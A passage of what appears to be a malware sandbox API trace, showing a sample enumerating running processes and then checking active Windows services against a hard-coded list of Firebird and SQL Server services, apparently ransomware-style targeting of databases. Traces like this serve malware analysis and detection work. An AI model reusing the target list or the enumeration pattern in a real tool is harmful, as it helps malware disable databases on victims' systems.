[0039.758] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0039.759] lstrlenW (lpString="taskhost.exe") returned 12 [0039.759] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0039.759] lstrlenW (lpString="promotesrouting.exe") returned 19 [0039.759] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0039.764] lstrlenW (lpString="rxcalled.exe") returned 12 [0039.764] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0039.764] lstrlenW (lpString="off.exe") returned 7 [0039.764] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0039.765] lstrlenW (lpString="mayorintl.exe") returned 13 [0039.765] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0039.765] lstrlenW (lpString="gzip-june.exe") returned 13 [0039.765] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0039.766] lstrlenW (lpString="lsnavy.exe") returned 10 [0039.766] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0039.766] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0039.766] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0039.767] lstrlenW (lpString="specifications.exe") returned 18 [0039.767] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0039.767] lstrlenW (lpString="soup-mario.exe") returned 14 [0039.767] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0039.768] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0039.768] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0039.768] lstrlenW (lpString="platformsprivate.exe") returned 20 [0039.768] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0039.769] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0039.769] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0039.769] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0039.769] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0039.770] lstrlenW (lpString="scan-allows.exe") returned 15 [0039.770] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0039.770] lstrlenW (lpString="mwprovince.exe") returned 14 [0039.771] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0039.771] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0039.771] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0039.772] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0039.772] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0039.772] lstrlenW (lpString="contacting.exe") returned 14 [0039.772] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0039.773] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0039.773] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0039.773] lstrlenW (lpString="jpmanagers.exe") returned 14 [0039.773] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0039.774] lstrlenW (lpString="motor.exe") returned 9 [0039.774] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0039.774] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0039.774] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0039.775] lstrlenW (lpString="toshiba.exe") returned 11 [0039.775] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0039.776] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0039.776] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0039.777] lstrlenW (lpString="mobsync.exe") returned 11 [0039.777] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0039.777] lstrlenW (lpString="dllhost.exe") returned 11 [0039.777] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0039.778] lstrlenW (lpString="dllhost.exe") returned 11 [0039.778] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0039.778] lstrlenW (lpString="3G6885.exe") returned 10 [0039.778] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0039.779] lstrlenW (lpString="cmd.exe") returned 7 [0039.779] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0039.779] lstrlenW (lpString="conhost.exe") returned 11 [0039.779] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0039.780] lstrlenW (lpString="mode.com") returned 8 [0039.780] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0039.780] CloseHandle (hObject=0x164) returned 1 [0039.780] Sleep (dwMilliseconds=0x1f4) [0040.382] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63fc98 [0040.417] EnumServicesStatusExW (in: hSCManager=0x63fc98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0040.418] GetLastError () returned 0xea [0040.418] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x11e4) returned 0x694200 [0040.418] EnumServicesStatusExW (in: hSCManager=0x63fc98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x694200, cbBufSize=0x11e4, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x694200, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0040.418] CloseServiceHandle (hSCObject=0x63fc98) returned 1 [0040.419] lstrlenW (lpString="Appinfo") returned 7 [0040.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0040.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0040.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0040.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0040.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0040.419] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0040.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.419] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0040.419] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0040.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0040.419] lstrlenW (lpString="AudioSrv") returned 8 [0040.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0040.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0040.419] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0040.419] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0040.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0040.419] lstrlenW (lpString="BFE") returned 3 [0040.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0040.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0040.419] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0040.419] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0040.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0040.419] lstrlenW (lpString="CryptSvc") returned 8 [0040.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0040.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0040.419] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0040.419] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0040.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0040.420] lstrlenW (lpString="CscService") returned 10 [0040.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0040.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0040.420] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0040.420] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0040.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0040.420] lstrlenW (lpString="DcomLaunch") returned 10 [0040.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.420] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0040.420] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0040.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0040.420] lstrlenW (lpString="Dhcp") returned 4 [0040.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0040.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0040.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0040.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0040.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0040.420] lstrlenW (lpString="Dnscache") returned 8 [0040.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0040.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0040.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0040.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0040.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0040.420] lstrlenW (lpString="DPS") returned 3 [0040.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0040.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0040.420] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0040.420] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0040.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0040.420] lstrlenW (lpString="eventlog") returned 8 [0040.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0040.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0040.421] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0040.421] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0040.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0040.421] lstrlenW (lpString="EventSystem") returned 11 [0040.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0040.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0040.421] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0040.421] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0040.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0040.421] lstrlenW (lpString="gpsvc") returned 5 [0040.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0040.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0040.421] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0040.421] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0040.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0040.421] lstrlenW (lpString="iphlpsvc") returned 8 [0040.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.421] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0040.421] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0040.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0040.421] lstrlenW (lpString="LanmanServer") returned 12 [0040.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0040.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0040.421] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0040.421] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0040.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0040.421] lstrlenW (lpString="LanmanWorkstation") returned 17 [0040.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.421] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0040.422] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0040.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0040.422] lstrlenW (lpString="lmhosts") returned 7 [0040.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0040.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0040.422] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0040.422] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0040.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0040.422] lstrlenW (lpString="MMCSS") returned 5 [0040.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0040.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0040.422] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0040.422] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0040.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0040.422] lstrlenW (lpString="MpsSvc") returned 6 [0040.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0040.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0040.422] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0040.422] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0040.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0040.422] lstrlenW (lpString="Netman") returned 6 [0040.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0040.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0040.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0040.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0040.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0040.422] lstrlenW (lpString="netprofm") returned 8 [0040.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0040.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0040.422] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0040.422] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0040.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0040.423] lstrlenW (lpString="NlaSvc") returned 6 [0040.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0040.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0040.423] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0040.423] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0040.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0040.423] lstrlenW (lpString="nsi") returned 3 [0040.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0040.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0040.423] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0040.423] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0040.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0040.423] lstrlenW (lpString="PcaSvc") returned 6 [0040.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0040.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0040.423] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0040.423] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0040.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0040.423] lstrlenW (lpString="PlugPlay") returned 8 [0040.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0040.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0040.423] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0040.423] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0040.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0040.423] lstrlenW (lpString="Power") returned 5 [0040.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0040.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0040.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0040.423] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0040.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0040.423] lstrlenW (lpString="ProfSvc") returned 7 [0040.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0040.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0040.424] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0040.424] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0040.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0040.424] lstrlenW (lpString="RpcEptMapper") returned 12 [0040.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.424] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0040.424] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0040.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0040.424] 